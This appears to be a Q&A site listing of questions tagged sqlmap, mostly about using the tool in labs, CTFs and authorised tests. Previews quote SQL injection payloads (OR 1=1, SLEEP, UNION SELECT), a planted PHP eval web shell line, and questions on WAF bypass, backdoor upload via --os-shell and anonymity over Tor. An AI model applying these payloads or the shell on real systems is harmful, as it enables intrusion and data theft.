Questions tagged [sqlmap]
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.
162
questions
1
vote
0
answers
91
views
How to ignore asterisk characters in sqlmap?
I've come across a webpage that uses Iron cookies. These cookies have the exemplary format: Fe26.2**0cdd607945dd1dffb7da0b0bf5f1a7daa6218cbae14cac51dcbd91fb077aeb5b*aOZLCKLhCt0D5IU1qLTtYw*...
- 11
0
votes
0
answers
241
views
SQLmap custom injection point in JSON
The post request like this:
POST /api/test/ HTTP/1.1
Host: example.com
Cookie: .ASPXAUTH=5B8094E
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 179
{"Verb":...
- 13
0
votes
1
answer
1k
views
Adding Payload to URL-based SQL Injection: Seeking Guidance and Best Practices
I recently performed a vulnerability assessment on a system using ZAP (Zed Attack Proxy) and received a finding indicating a likely SQL injection vulnerability.
The query time is controllable using ...
- 11
0
votes
0
answers
237
views
sqlmap base64 encoded cookie with working manual sql injection
I am trying to automate sql injection using sqlmap by using the following command:
sqlmap -r req.txt --dump
where req.txt is the request which is captured with Burp Suite. sqlmap couldn't find the ...
1
vote
1
answer
250
views
What's the difference between dynamic and static parameters in Sqlmap?
What are the practical differences between them? i.e. a parameter referred to as being "dynamic" and "not dynamic"?
- 11
0
votes
1
answer
94
views
How to use sqlmap when the injectable parameter is not a regular parameter?
I have a target website, which parameter is not a regular parameter, which looks like:
POST /some_url
'info={"actual_parameter1": "abc", "actual_parameter2": "def&...
- 101
0
votes
0
answers
283
views
sql injection in Microsoft SQL Server 2017 problem retrieving db names
While I was pentesting, I came across a blind sql injection in a website that uses IIS. I tried this payload " AND 11=11 AND ('Hlua'='Hlua" and it works and it gives success page then i ...
- 1
0
votes
0
answers
151
views
SQLMap does not show current database
sqlmap is not showing the database when i run a sql-shell
SELECT current_database(): 'odb'
When I run sqlmap with --dbs it is not showing that odb and I cannot retrieve data from it.
What can be ...
- 9
0
votes
0
answers
309
views
sqlmap UNION query based injection, fix certain column values
I am going through some basic security training involving exploiting an SQL injection in a test service. I am trying to get sqlmap to dump the DB contents. I found a vulnerable endpoint, I can ...
- 109
0
votes
0
answers
88
views
sqlmap form data is empty
I am scanning my website
sqlmap -u http://127.0.0.1/form --forms --random-agent --data="password=NotEmpty" --batch -t logtraffic.txt
yet if I open logtraffic.txt I get
VIEWSTATE=...
- 207
0
votes
1
answer
546
views
sqlmap verbose level
pretty much on every resource I go, it says the sqlmap's verbose value -v can be from 1 to 6 and default is 1, I try to look anywhere to see the difference between those values, but I can not find any ...
- 207
0
votes
1
answer
69
views
How spamming entries in website database using the same IP address is possible?
I am working in a private company as VAPT Auditor. I am currently testing one of our project website which contains common features like login, sign up, etc. I mostly do manual testing using BurpSuite ...
- 1
0
votes
0
answers
270
views
sqlmap tampered payload doesn't insert correctly
My problem is that I have made my own tampered payload that should convert the actual payload to hex format.
You can see from the log that the tampered payload is correct, but in the post data "...
2
votes
1
answer
483
views
SQLi - how to dump data without knowing table & field names?
A rather specific question, but I'm trying to SQL inject a vulnerable web app to enumerate data. I have permission to do this.
The gist of it is there are some params, lets say 4 of them being sent to ...
- 230
2
votes
0
answers
217
views
Sql injection extract random bits instead of actual data
I was performing SQL injection through sqlmap and it showed that the parameter is vulnerable but it is only extracting random bits instead of actual data.
I am pasting extracted material here.
[00:12:...
- 21
-1
votes
1
answer
804
views
How to use sqlmap while website uses multiple redirects
I am testing a publicly available site https://example.com/ebill/login.php where I fill the form with account number, like 34413271 and a cookie is assigned for later urls to use, then the above URL ...
- 59
0
votes
1
answer
1k
views
SQLMAP setting parameter
I am testing my own flask application that should be vulnerable.
I am using this in SQlmap:
sqlmap -u "https://test.heroku.com/checkusername/student*"
but the requests with payloads I am ...
0
votes
1
answer
131
views
Why are MySQL injections more limited than MS-SQL attacks?
I was watching the DEFCON 17: Advanced SQL Injection video here.
At 15:00, when discussing the various classes and types of SQL injection attackS, the speaker stated
With MySQL you really only have ...
- 191
1
vote
1
answer
4k
views
sqlmap is encountering 403 forbidden
I am trying to complete an SQL injection CTF here.
I confirmed just adding a single ' mark at the end of the URL caused a MySQL syntax error, and following this tutorial, I could complete this ...
- 191
0
votes
0
answers
885
views
How does the --os-shell parameter in Sqlmap work? Is it still anonymous over Tor?
How does the --os-shell parameter in Sqlmap work? I know its uploading a backdoor, but how is Sqlmap uploading it and is the file just a normal reverse shell trojan?
Also, is it still anonymous when ...
- 947
0
votes
1
answer
144
views
What is the wisdom of using the ASCII function in exploit SQLi?
I mean, I can exploit the vulnerability using a substring function and without using an ASCII function like:
SELECT username FROM users WHERE id = 1 AND (SELECT substring(password,1,1) FROM users ...
1
vote
1
answer
1k
views
How secure and anonymous is the --tor parameter in Sqlmap?
How secure and anonymous is the --tor parameter in Sqlmap?
Does it really send every request over Tor and does it have any IP/DNS/STUN requests leak loopholes?
- 947
0
votes
0
answers
384
views
How to modify a database through SQL injection UNION?
I need help with an sqli exercise. I used sqlmap to find a UNION vulnerability.
I managed to get the H2 version with this payload:
string') UNION ALL SELECT NULL,H2VERSION(),NULL,NULL,NULL--
But I ...
- 11
0
votes
1
answer
966
views
Cloudflare SQLinjection protection
I'm testing for vulnerabilities for a specific site using sqlmap. However, the site has a cloudflare firewall which blocks queries including for example *, ANY or OR. I sort of found a bypass while ...
- 1
0
votes
0
answers
727
views
SQLMAP payloads don't work manually, why?
I was trying out SQLMAP on DVWA (medium security for SQL injection), and I did get a set of payloads (sqlmap chucked out a few payloads that should have worked). But entered manually, I couldn't get ...
- 1
2
votes
1
answer
362
views
API Sql Injection
I need some help with an SQL injection at an API.
Webserver IIS 8.5
The GET request looks like this
...
https://example.com/api/Search?q=Landing
The Response looks like this
HTTP/1.1 200 OK
...
[{&...
- 21
0
votes
1
answer
105
views
Sqlmapapi configuring task options
I'm trying to make scans using Sqlmapapi. I have added a new task, and when I call /option/$taskId/list in response, I receive JSON output with options that can be set.
I could not find any ...
- 1
0
votes
0
answers
2k
views
Sqlmap, All tested parameters do not appear to be injectable
I am new to SQLMAP, I have been practicing with the Altoro Mutual portal which is a vulnerable portal, just enter the code 'OR 1 = 1 - in one of its forms (Login) and we will obtain administrator ...
- 1
0
votes
1
answer
454
views
Sqlmap won't pick up injection point. Tweak?
I manually found an injection point, on CTF VM, located on POST form. I found it with the following manual payload :
1' OR SLEEP(1)-- t
I would like to use sqlmap. I ended with following call :
...
- 103
1
vote
1
answer
3k
views
Using sqlmap for detecting SQLi on Juice shop's login page
New Sqlmap user, so please be patient :)
I've started looking at the tool and I'm curious about its use. For instance, the login page of OWASP's Juice shop is vulnerable to sql injection (' OR 1=1-- ...
- 113
1
vote
2
answers
3k
views
How to configure SQLMap to attack JSON parameter?
Part of a box I'm doing, I can successfully pass basic SQL query 'or'1'='1 with no errors,
{"search":"'or'1'='1"}
Output:
HTTP/1.0 200 OK
Trying to error the query
{"search&...
- 21
1
vote
0
answers
864
views
Can sqlmap be used to extract data if the attack is blind?
I'm solving this challenge/lab where SQLi is inside the cookie parameter. After solving it manually, I thought to check if it can extract data. I used sqlmap with --cookie=COOKIE* (Notice * that's the ...
- 11
1
vote
0
answers
1k
views
Is it possible to enumerate Microsoft Access database using sqlmap?
I'm trying to enumerate a Microsoft Access database using sqlmap, in particular I run this command:
sqlmap -r http.txt --risk 2 --dump-all
Anyway it seems is not retrieving a single information. Am I ...
- 567
1
vote
1
answer
4k
views
Sqlmap Sleepy User-Agent
I was testing Burp Suite Crawl on some old php sites I made and it found Sleepy User-Agent
SQL injection vulnerability
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, ...
- 11
0
votes
1
answer
848
views
SQLi Filter Bypass with banned table/column names
I've studying and practicing different approach to SQLi filter bypass and I faced a challenge. What if the WAF filters look for specific strings rather than SQL keywords?
Example:
Filter: /UNION/
SQLi:...
- 133
0
votes
0
answers
406
views
Understanding sqlmap's payload for blind sql injection
I am fairly new to sql injections and tried to solve a little hackit to understand everything better. I wasn't able to solve one of the levels so I ran sqlmap to see what it would do. The payloads ...
- 111
0
votes
0
answers
559
views
Why does sqlmap dump column ids only?
I have accessed a database and using --is-dba , I know that the user IS NOT database admin and also using --privileges , I know that the privileges is USAGE . Now I want to know is this the reason ...
- 41
3
votes
1
answer
968
views
Paths in web servers
Using sqlmap I was able to gain access to one database and using --current-user and --privileges. I can confirm that the user is root@localhost with full privileges.
The part I have problem with is ...
- 41
2
votes
2
answers
16k
views
Never use stored session in sqlmap
I am trying to make sqlmap to avoid fetch data from stored session. How do I achieve that? I have performed sqlmap check once on a target and now that target is offline, I want sqlmap to just stop the ...
- 121
-1
votes
1
answer
1k
views
How to continue performing checks on a site if sqlmap found an issue on a URL of the same site while using --batch option?
I have a file /tmp/urls which has following URLs:
http://127.0.0.1:8081/?id=1
http://127.0.0.1:8081/?id2=1
I am using this command to perform checks on file URLs concurrently:
python3 sqlmap.py --...
- 121
0
votes
1
answer
1k
views
How can I dump the last row of a table?
Now in order to be familiar with a site's table , I need to dump the last row of a table named "account" . can you please tell me what parameters I can use to dump only the last row of a ...
- 41
0
votes
1
answer
7k
views
sqlmap won't give me results i'm looking for [closed]
I am trying to use sqlmap. Although every time I use it, I just get a response of:
[13:39:11] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
[13:39:11] [...
- 9
0
votes
1
answer
1k
views
SQLMap Only Returns information_schema
I run this command python sqlmap.py -u https://acme.com/post.php --data "id=1" --tamper="between,randomcase,space2comment" -v 3 --random-agent --dbs but SQLMap only returns ...
- 58
0
votes
0
answers
828
views
Sqlmap not detects error based injection
I am working on Hack the VM (hard machine) for my OSCP preparation
There is a web app with two drop down boxes.. Year and month.. both contain numbers and a submit to fetch data from DB based on year ...
- 43
0
votes
0
answers
37
views
.php code in .txt file with eval() function [duplicate]
I have found three files with name as below:
a.phpfile.txt
b.phpfile.txt
c.phpfile.txt
when i open, each file contained with the following code:
<?php @eval($_POST[x]);
I have deleted all ...
- 139
0
votes
0
answers
296
views
SQLmap automation
I'm automating SQL injection using sqlmap. Is there someone who managed to parse sqlmap console output to only report critical findings (vulnerable pages to SQL injection)?
The tool doesn't support ...
- 11
0
votes
0
answers
1k
views
Sqlmap waf bypass
This is my first post here, sorry for my english.
Im making some test around, because i want to learn more about sql injection. Im not really good as manual sql injection, so im using sqlmap.
what ...
- 1
0
votes
1
answer
4k
views
SQLmap finds injectable 'id' parameter but the response is 'Internal Server Error'
I am trying to understand the SQLi so I ran SQLMap with '-vvv' parameter
4: Show also HTTP requests.
I did scan one of the vulnerable and 'free to hack' sites.
In one of the requests sent, the ...
3
votes
2
answers
12k
views
SQLMap Cookie Injectioin with Working Manual SQLi
I'm using an existing exploit which calls for a cookie called wp_sap to be set with the following value:
["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@version,11#"]
This works ...
- 181
0
votes
1
answer
2k
views
SQLMAP Redirect using xampp
I am learning SQLi using sqlmap and xampp.
I set up my lab the same way as per tutorial but when I run
sqlmap.py -u "http://localhost/bwapp/sqli_1.php?title=1*"
the error got 302 redirected to
...
